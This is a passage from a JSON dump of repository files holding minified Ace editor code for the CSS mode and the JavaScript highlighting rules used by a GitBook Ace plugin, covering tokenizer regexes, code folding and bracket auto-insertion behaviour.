o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-curly.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return 